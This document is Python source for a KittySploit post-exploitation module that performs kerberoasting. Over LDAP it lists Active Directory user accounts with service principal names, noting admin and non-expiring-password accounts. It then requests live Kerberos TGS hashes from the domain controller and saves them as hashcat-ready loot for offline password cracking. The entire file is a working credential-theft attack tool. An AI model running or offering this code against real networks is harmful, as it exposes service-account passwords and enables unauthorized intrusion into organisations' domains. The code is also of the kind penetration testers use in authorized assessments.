LDAP Kerberoast (native)
from kittysploit import *
from lib.protocols.ldap.ldap_post_client import LdapPostClient
from lib.protocols.ldap.ad_helpers import UAC_DONT_EXPIRE_PASSWD
from lib.protocols.kerberos.roast import KerberosError, request_tgs_hashes
from lib.protocols.kerberos.roast_helpers import resolve_auth, resolve_kdc
from lib.post.windows.hash_loot import save_hash_loot
class Module(Post, LdapPostClient):
__info__ = {
"name": "LDAP Kerberoast (native)",
"description": (
"Native kerberoasting: LDAP enum of user SPNs, then request live "
"$krb5tgs$ hashes from the KDC using session or explicit credentials. "
"No Rubeus / Impacket required."
),
"author": "KittySploit Team",
"session_type": SessionType.LDAP,
"tags": ["ad", "ldap", "kerberos", "kerberoast", "native"],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation", "network_probe"],
"expected_requests": 6,
"reversible": False,
"approval_required": True,
"produces": ["credentials", "risk_signals"],
"cost": 1.0,
"noise": 0.45,
"value": 1.6,
"chain": {
"consumes_capabilities": ["ldap_access"],
"produces_capabilities": ["kerberoast_targets", "kerberos_hashes"],
},
},
}
include_disabled = OptBool(False, "Include disabled accounts", False)
admin_only = OptBool(False, "Only show adminCount=1 accounts", False)
request_hashes = OptBool(True, "Request live TGS hashes from KDC", False)
dc_ip = OptString("", "KDC host/IP (default: LDAP session host)", False)
kdc_port = OptPort(88, "Kerberos KDC port", False)
auth_user = OptString("", "Domain user for TGT (default: LDAP bind user)", False)
auth_password = OptString("", "Password for TGT (default: LDAP bind password)", False)
auth_nthash = OptString("", "NT hash instead of password (32 hex)", False)
save_loot = OptBool(True, "Write hashcat lines to output/loot/", False)
def run(self):
try:
print_info("=" * 80)
print_status(f"Kerberoastable users in {self.base_dn or '(domain)'}")
filter_parts = [
"(&(objectClass=user)",
"(servicePrincipalName=*)",
"(!(objectClass=computer))",
]
if not self.include_disabled:
filter_parts.append("(!(userAccountControl:1.2.840.113556.1.4.803:=2))")
filter_parts.append(")")
rows = self.search(
"".join(filter_parts),
[
"sAMAccountName",
"servicePrincipalName",
"userPrincipalName",
"adminCount",
"userAccountControl",
],
)
if self.admin_only:
rows = [row for row in rows if self.attr_int(row, "adminCount") == 1]
if not rows:
print_warning("No Kerberoastable accounts found")
return True
targets = []
for entry in rows:
sam = self.attr_str(entry, "sAMAccountName")
upn = self.attr_str(entry, "userPrincipalName")
spns = self.attr_list(entry, "servicePrincipalName")
admin = self.attr_int(entry, "adminCount") == 1
uac = self.attr_int(entry, "userAccountControl")
never_expire = bool(uac & UAC_DONT_EXPIRE_PASSWD)
print_info(f"\n {sam}")
if upn:
print_info(f" UPN: {upn}")
if admin:
print_info(" adminCount: 1")
if never_expire:
print_info(" password: does not expire")
for spn in spns:
print_info(f" SPN: {spn}")
if sam and spn:
targets.append((spn, sam))
print_info("=" * 80)
print_success(f"Found {len(rows)} Kerberoastable account(s)")
if not self.request_hashes:
print_info("Set request_hashes=true to pull live $krb5tgs$ hashes")
return True
kdc = resolve_kdc(self, str(self.dc_ip or ""))
user, domain, password, nthash = resolve_auth(
self,
username=str(self.auth_user or ""),
password=str(self.auth_password or ""),
nthash=str(self.auth_nthash or ""),
domain=self.domain or "",
)
if not kdc:
raise ProcedureError(
FailureType.ConfigurationError,
"KDC host unknown — set dc_ip or use an LDAP session with host",
)
if not domain or not user:
raise ProcedureError(
FailureType.ConfigurationError,
"Domain user required — set auth_user or use a bound LDAP session",
)
if not password and not nthash:
raise ProcedureError(
FailureType.ConfigurationError,
"Password or auth_nthash required to obtain a TGT",
)
print_status(f"Kerberoasting {len(targets)} SPN(s) via {kdc} as {user}@{domain}")
hashes = request_tgs_hashes(
user,
domain,
kdc,
targets,
password=password,
nthash=nthash,
port=int(self.kdc_port or 88),
)
for rh in hashes:
print_success(rh.hash)
if hashes and self.save_loot:
path = save_hash_loot(
[h.as_loot() for h in hashes],
kind="krb5tgs",
session_id=self._session_id_value(),
)
if path:
print_success(f"Loot saved: {path}")
elif not hashes:
print_warning("No TGS hashes obtained (check creds / KDC / SPNs)")
return True
except ProcedureError:
raise
except Exception as exc:
raise ProcedureError(
FailureType.Unknown, f"Native kerberoast failed: {exc}"
)
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30 Jul 2026 05:02Current
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